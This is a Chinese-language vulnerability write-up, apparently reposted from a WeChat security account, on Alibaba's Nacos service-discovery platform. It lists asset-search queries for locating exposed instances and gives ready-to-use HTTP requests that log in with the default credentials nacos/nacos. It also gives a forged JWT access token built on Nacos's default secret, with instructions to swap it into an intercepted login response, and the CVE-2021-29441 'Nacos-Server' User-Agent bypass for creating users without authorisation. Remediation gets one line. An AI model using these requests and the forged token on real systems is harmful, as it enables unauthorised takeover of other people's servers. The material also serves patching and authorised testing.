1.nacos
Nacos 是一个易于使用的平台,用于动态服务发现和配置管理。它是阿里巴巴开源的一个更通用的解决方案,旨在解决云原生应用中的服务发现、配置管理、服务健康检查和动态服务注册等问题。Nacos 通常用于微服务架构中,以支持服务的弹性、容错和高可用性。
2.漏洞描述
(1).默认口令
(2).nacos身份认证绕过漏洞
(3).未授权新建用户(CVE-2021-29441)
3.影响版本
nacos
4.资产测绘
title="nacos"
app="nacos"
5.漏洞复现
5.1 默认口令:nacos/nacos
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.6.8:8848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://192.168.6.8:8848
Connection: close
Referer: http://192.168.6.8:8848/nacos/
X-Forwarded-For: 10.10.10.5
X-Originating-IP: 10.10.10.5
Priority: u=0
username=nacos&password=nacos
5.2 nacos身份认证绕过漏洞
nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击对应就是数据包的accesstoken
在登录口随便输入账号密码,抓包:
POST /v1/auth/users/login HTTP/1.1
Host: 192.168.6.8:8848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 10.10.10.5
X-Originating-Ip: 10.10.10.5
Priority: u=0
Te: trailers
Connection: close
username=test&password=test
拦截返回包,将返回包内容改为如下,再放包即可登入系统:
POC:
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206
{
"accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl": 18000,
"globalAdmin": false,
"username": "nacos"
}
5.3 nacos身份认证绕过漏洞(CVE-2021-29441)
在早期低版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为"Nacos-Server",如果是的话则不进行任何认证
复现步骤:
1、访问/nacos/v1/auth/users?pageNo=1&pageSize=9验证漏洞是否存在
2、将UA改为:Nacos-Server
3、POST /nacos/v1/auth/users?username=test&password=test HTTP/1.1
(1)验证漏洞:/nacos/v1/auth/users?pageNo=1&pageSize=9
(2)创建用户:
(3)创建完成即可登录系统
6、漏洞影响
(1).可通过上述漏洞控制系统
7、漏洞修复
(1).打补丁升级到高版本
原文始发于微信公众号(安全技术达人):nacos漏洞整理(一)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论